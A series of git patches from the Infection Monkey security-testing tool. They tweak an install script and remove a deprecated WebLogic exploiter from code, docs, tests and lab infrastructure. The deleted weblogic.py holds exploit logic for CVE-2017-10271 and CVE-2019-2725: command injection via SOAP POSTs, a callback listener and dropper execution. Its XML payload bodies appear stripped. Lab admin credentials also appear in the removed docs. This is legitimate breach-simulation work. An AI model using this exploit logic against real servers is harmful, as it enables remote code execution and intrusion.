76f0bc453..d1cea9d64 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -93,6 +93,7 @@ has_sudo() { exit_if_missing_argument() { if [ -z "$2" ] || [ "${2:0:1}" == "-" ]; then echo "Error: Argument for parameter '$1' is missing" >&2 + echo_help exit 1 fi } From 1be6de0bd831f44642c58bd03dbd825f357ee6be Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:45:58 -0400 Subject: [PATCH 1068/1110] Deploy: Set mode=0755 when creating /opt/infection-monkey/bin/ --- deployment_scripts/install-infection-monkey-service.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index d1cea9d64..99a73a3af 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -63,7 +63,7 @@ uninstall_service() { } move_appimage() { - sudo mkdir -p "${MONKEY_BIN}" + sudo mkdir --mode=0755 -p "${MONKEY_BIN}" if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then umask 022 From 420e99a902045b6755c86644b6a78adc15c71a00 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:55:42 -0400 Subject: [PATCH 1069/1110] Changelog: Add a changelog entry for install-infection-monkey-service.sh --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 089bf8930..57ceae925 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "GET /api/propagation-credentials/" endpoint for agents to retrieve updated credentials from the Island. #1538 - SSHCollector as a configurable System info Collector. #1606 +- deployment_scrips/install-infection-monkey-service.sh to install an AppImage + as a service. #1552 ### Changed - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and From 151df34ec8bc202eaa90dc1b89463924c48a0816 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 10 Apr 2022 14:57:13 -0400 Subject: [PATCH 1070/1110] Deploy: Fix capitalization of .AppImage --- deployment_scripts/install-infection-monkey-service.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh index 99a73a3af..e2c9a926f 100755 --- a/deployment_scripts/install-infection-monkey-service.sh +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -6,7 +6,7 @@ SCRIPT_DIR="$(realpath "$(dirname "${BASH_SOURCE[0]}")")" SYSTEMD_UNIT_FILENAME="infection-monkey.service" SYSTEMD_DIR="/lib/systemd/system" MONKEY_BIN="/opt/infection-monkey/bin" -APPIMAGE_NAME="InfectionMonkey.appimage" +APPIMAGE_NAME="InfectionMonkey.AppImage" echo_help() { echo "Installs the Infection Monkey service to run on boot." From 89384ca6f79ff1b50565da201eee81f43e0de45f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:00:35 +0200 Subject: [PATCH 1071/1110] Docs: Remove WebLogic exploiter documentaiton --- docs/content/reference/exploiters/WebLogic.md | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 docs/content/reference/exploiters/WebLogic.md diff --git a/docs/content/reference/exploiters/WebLogic.md b/docs/content/reference/exploiters/WebLogic.md deleted file mode 100644 index 0e803641a..000000000 --- a/docs/content/reference/exploiters/WebLogic.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: "WebLogic" -date: 2020-07-14T08:42:46+03:00 -draft: false -tags: ["exploit", "linux", "windows"] ---- -### Description - -This exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. From d9c295bed46508ca0e07949e5771176f1b82d32f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:01:52 +0200 Subject: [PATCH 1072/1110] BB: Remove WebLogic exploiter --- .../blackbox/config_templates/performance.py | 1 - .../blackbox/config_templates/weblogic.py | 18 ----- .../blackbox/gcp_test_machine_list.py | 2 - envs/monkey_zoo/blackbox/test_blackbox.py | 5 -- .../utils/config_generation_script.py | 2 - envs/monkey_zoo/docs/fullDocs.md | 76 ------------------- envs/monkey_zoo/terraform/images.tf | 8 -- envs/monkey_zoo/terraform/monkey_zoo.tf | 50 ------------ 8 files changed, 162 deletions(-) delete mode 100644 envs/monkey_zoo/blackbox/config_templates/weblogic.py diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index 11fcca51b..4c96a9b1e 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -16,7 +16,6 @@ class Performance(ConfigTemplate): "SmbExploiter", "WmiExploiter", "SSHExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", "PowerShellExploiter", diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py deleted file mode 100644 index 10bdadd11..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py +++ /dev/null @@ -1,18 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Weblogic(ConfigTemplate): - - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"], - "internal.network.tcp_scanner.HTTP_PORTS": [7001], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 8b39b0599..866e69c3e 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -11,8 +11,6 @@ GCP_TEST_MACHINE_LIST = { "tunneling-10", "tunneling-11", "tunneling-12", - "weblogic-18", - "weblogic-19", "zerologon-25", ], "europe-west1-b": [ diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 7ee77c714..31cbdd379 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -22,7 +22,6 @@ from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon @@ -184,10 +183,6 @@ class TestMonkeyBlackbox: def test_smb_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") - @pytest.mark.skip(reason="Weblogic exploiter is deprecated") - def test_weblogic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") - def test_log4j_solr_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test( island_client, Log4jSolr, "Log4Shell_Solr_exploiter" diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index dd25201f4..76abff669 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -14,7 +14,6 @@ from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon @@ -44,7 +43,6 @@ CONFIG_TEMPLATES = [ SmbPth, Ssh, Tunneling, - Weblogic, WmiMimikatz, WmiPth, Zerologon, diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 032d6ef8d..9d5635255 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -18,8 +18,6 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 15 Mimikatz](#_Toc536021468)
    [Nr. 16 MsSQL](#_Toc536021469)
    [Nr. 17 Upgrader](#_Toc536021470)
    -[Nr. 18 WebLogic](#_Toc526517180)
    -[Nr. 19 WebLogic](#_Toc526517181)
    [Nr. 21 Scan](#_Toc526517196)
    [Nr. 22 Scan](#_Toc526517197)
    [Nr. 25 Zerologon](#_Toc536021478)
    @@ -632,80 +630,6 @@ Update all requirements using deployment script:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 18 WebLogic

    -

    (10.2.2.18)

    (Vulnerable)
    OS:Ubuntu 16.04.05 x64
    Software:

    JDK,

    -

    Oracle WebLogic server 12.2.1.2

    Default server’s port:7001
    Admin domain credentials:weblogic : B74Ot0c4
    Server’s config:Default
    Notes:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 19 WebLogic

    -

    (10.2.2.19)

    (Vulnerable)
    OS:Windows 10 x64
    Software:

    JDK,

    -

    Oracle WebLogic server 12.2.1.2

    Default server’s port:7001
    Admin servers credentials:weblogic : =ThS2d=m(`B
    Server’s config:Default
    Notes:
    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 54e933095..3dadc5876 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -83,14 +83,6 @@ data "google_compute_image" "log4j-logstash-56" { name = "log4j-logstash-56" project = local.monkeyzoo_project } -data "google_compute_image" "weblogic-18" { - name = "weblogic-18" - project = local.monkeyzoo_project -} -data "google_compute_image" "weblogic-19" { - name = "weblogic-19" - project = local.monkeyzoo_project -} data "google_compute_image" "scan-21" { name = "scan-21" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index fbf915f8a..de0b922f5 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -400,56 +400,6 @@ resource "google_compute_instance_from_template" "log4j-logstash-56" { } } -/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) -resource "google_compute_instance_from_template" "upgrader-17" { - name = "${local.resource_prefix}upgrader-17" - source_instance_template = "${local.default_windows}" - boot_disk{ - initialize_params { - image = "${data.google_compute_image.upgrader-17.self_link}" - } - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.17" - access_config { - // Cheaper, non-premium routing - network_tier = "STANDARD" - } - } -} -*/ - -resource "google_compute_instance_from_template" "weblogic-18" { - name = "${local.resource_prefix}weblogic-18" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.weblogic-18.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.18" - } -} - -resource "google_compute_instance_from_template" "weblogic-19" { - name = "${local.resource_prefix}weblogic-19" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.weblogic-19.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.19" - } -} - resource "google_compute_instance_from_template" "scan-21" { name = "${local.resource_prefix}scan-21" source_instance_template = local.default_ubuntu From c10b5c9e79e93cc4aee33b145f7a62dcfcbf287f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:06:34 +0200 Subject: [PATCH 1073/1110] Island: Remove WebLogic exploiter --- .../cc/services/config_schema/basic.py | 1 - .../definitions/exploiter_classes.py | 9 -------- .../cc/services/reporting/aws_exporter.py | 22 ------------------ .../exploiter_descriptor_enum.py | 3 --- .../report-components/SecurityReport.js | 6 ----- .../security/issues/WebLogicIssue.js | 23 ------------------- 6 files changed, 64 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index b542d7d7d..0ce28a3d1 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -18,7 +18,6 @@ BASIC = { "WmiExploiter", "SSHExploiter", "Log4ShellExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", "PowerShellExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 4745ef4ae..2ecaa977b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -53,15 +53,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/sshexec/", }, - { - "type": "string", - "enum": ["WebLogicExploiter"], - "title": "WebLogic Exploiter", - "safe": True, - "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/weblogic/", - }, { "type": "string", "enum": ["HadoopExploiter"], diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 5ec07ecdf..7c6d0903d 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -81,7 +81,6 @@ class AWSExporter(Exporter): "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, - ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue, ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue, } @@ -386,27 +385,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_weblogic_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest " - "version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " - "12.2.1.2.0.", - recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " - "to remote code execution attack." - "The attack was made possible due to incorrect permission " - "assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_hadoop_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 8bab1f296..63785acc6 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -28,9 +28,6 @@ class ExploiterDescriptorEnum(Enum): SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) - WEBLOGIC = ExploiterDescriptor( - "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor - ) HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) ZEROLOGON = ExploiterDescriptor( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 2ac11c211..a23cd6eb8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -20,7 +20,6 @@ import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue'; -import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue'; import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue'; import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue'; import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; @@ -76,11 +75,6 @@ class ReportPageComponent extends AuthComponent { }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'WebLogicExploiter': { - [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview, - [this.issueContentTypes.REPORT]: webLogicIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'HadoopExploiter': { [this.issueContentTypes.OVERVIEW]: hadoopIssueOverview, [this.issueContentTypes.REPORT]: hadoopIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js deleted file mode 100644 index e7678c448..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js +++ /dev/null @@ -1,23 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function webLogicIssueOverview() { - return (
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) -} - -export function webLogicIssueReport(issue) { - return ( - <> - Update Oracle WebLogic server to the latest supported version. - - Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. -
    - The attack was made possible due to one of the following vulnerabilities: - CVE-2017-10271 or - CVE-2019-2725 -
    - - ); -} From a0993cdfcb53158c17d0e9c81cc97440386e30d7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:07:08 +0200 Subject: [PATCH 1074/1110] Agent, UT: Remove WebLogic exploiter --- monkey/infection_monkey/exploit/weblogic.py | 333 ------------------ .../automated_master_config.json | 1 - .../monkey_configs/flat_config.json | 1 - .../monkey_config_standard.json | 1 - .../monkey_island/cc/services/test_config.py | 1 - 5 files changed, 337 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/weblogic.py diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py deleted file mode 100644 index 6c2d7d327..000000000 --- a/monkey/infection_monkey/exploit/weblogic.py +++ /dev/null @@ -1,333 +0,0 @@ -import copy -import logging -import threading -import time -from http.server import BaseHTTPRequestHandler, HTTPServer - -from requests import exceptions, post - -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.network.info import get_free_tcp_port -from infection_monkey.network.tools import get_interface_to_target - -logger = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should we wait after each request in seconds -REQUEST_DELAY = 0.1 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 -# Malicious requests' headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", -} - - -class WebLogicExploiter(HostExploiter): - _EXPLOITED_SERVICE = "Weblogic" - - def _exploit_host(self): - exploiters = [WebLogic20192725, WebLogic201710271] - for exploiter in exploiters: - if exploiter(self.host).exploit_host(): - return True - - -# Exploit based of: -# Kevin Kirsche (d3c3pt10n) -# https://github.com/kkirsche/CVE-2017-10271 -# and -# Luffin from Github -# https://github.com/Luffin/CVE-2017-10271 -# CVE: CVE-2017-10271 -class WebLogic201710271(WebRCE): - URLS = [ - "/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11", - ] - - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic201710271, self).__init__( - host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} - ) - - def get_exploit_config(self): - exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config["stop_checking_urls"] = True - exploit_config["url_extensions"] = WebLogic201710271.URLS - return exploit_config - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload( - "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" - ) - else: - payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False - ) - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - return True - - def add_vulnerable_urls(self, urls, stop_checking=False): - """ - Overrides parent method to use listener server - """ - # Server might get response faster than it starts listening to it, we need a lock - httpd, lock = self._start_http_server() - exploitable = False - - for url in urls: - if self.check_if_exploitable_weblogic(url, httpd): - exploitable = True - break - - if not exploitable and httpd.get_requests < 1: - # Wait for responses - time.sleep(REQUEST_TIMEOUT) - - if httpd.get_requests > 0: - # Add all urls because we don't know which one is vulnerable - self.vulnerable_urls.extend(urls) - self.exploit_info["vulnerable_urls"] = self.vulnerable_urls - else: - logger.info("No vulnerable urls found, skipping.") - - self._stop_http_server(httpd, lock) - - def check_if_exploitable_weblogic(self, url, httpd): - payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False - ) - except exceptions.ReadTimeout: - # Our request will not get response thus we get ReadTimeout error - pass - except Exception as e: - logger.error("Something went wrong: %s" % e) - return httpd.get_requests > 0 - - def _start_http_server(self): - """ - Starts custom http server that waits for GET requests - :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) - """ - lock = threading.Lock() - local_port = get_free_tcp_port() - local_ip = get_interface_to_target(self.host.ip_addr) - httpd = self.IndicationHTTPServer(local_ip, local_port, lock) - lock.acquire() - httpd.start() - lock.acquire() - return httpd, lock - - @staticmethod - def _stop_http_server(httpd, lock): - lock.release() - httpd.join(SERVER_TIMEOUT) - httpd.stop() - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used in exploiting weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload - - @staticmethod - def get_test_payload(ip, port): - """ - Gets payload used for testing whether weblogic server is vulnerable - :param ip: Server's IP - :param port: Server's port - :return: Formatted payload - """ - generic_check_payload = """ - - - - - http://{host}:{port} - - - - - - - - - - """ - payload = generic_check_payload.format(host=ip, port=port) - return payload - - class IndicationHTTPServer(threading.Thread): - """ - Http server built to wait for GET requests. Because oracle web logic vuln is blind, - we determine if we can exploit by either getting a GET request from host or not. - """ - - def __init__(self, local_ip, local_port, lock, max_requests=1): - self.local_ip = local_ip - self.local_port = local_port - self.get_requests = 0 - self.max_requests = max_requests - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class S(BaseHTTPRequestHandler): - @staticmethod - def do_GET(): - logger.info("Server received a request from vulnerable machine") - self.get_requests += 1 - - logger.info("Server waiting for exploited machine request...") - httpd = HTTPServer((self.local_ip, self.local_port), S) - httpd.daemon = True - self.lock.release() - while not self._stopped and self.get_requests < self.max_requests: - httpd.handle_request() - - self._stopped = True - return httpd - - def stop(self): - self._stopped = True - - -# Exploit based of: -# Andres Rodriguez (acamro) -# https://github.com/rapid7/metasploit-framework/pull/11780 -class WebLogic20192725(WebRCE): - URLS = ["_async/AsyncResponseServiceHttps"] - DELAY_BEFORE_EXPLOITING_SECONDS = 5 - - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic20192725, self).__init__(host) - - def get_exploit_config(self): - exploit_config = super(WebLogic20192725, self).get_exploit_config() - exploit_config["url_extensions"] = WebLogic20192725.URLS - exploit_config["dropper"] = True - return exploit_config - - def execute_remote_monkey(self, url, path, dropper=False): - # Without delay exploiter tries to launch monkey file that is still finishing up after - # downloading. - time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) - super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload("/bin/sh", "-c", command) - else: - payload = self.get_exploit_payload("cmd", "/c", command) - try: - resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) - return resp - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) - res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) - if res.status_code == 500 and "env:Client" in res.text: - return True - else: - return False - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used to exploit weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - xx - xx - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index 1604c0690..439103396 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -56,7 +56,6 @@ "vulnerability": [ {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, - {"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} ] } diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 5d89bc003..2f48f30a6 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -50,7 +50,6 @@ "WmiExploiter", "SSHExploiter", "ZerologonExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", "PowerShellExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 14e2c8b49..1ffce78cf 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter" ] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 8f7a37d63..84ea942f4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -201,7 +201,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): "vulnerability": [ {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, - {"name": "WebLogicExploiter", "supported_os": [], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ], } From 7baccefae136cfe6d55a7fdd9b821ae8eb9d7a9e 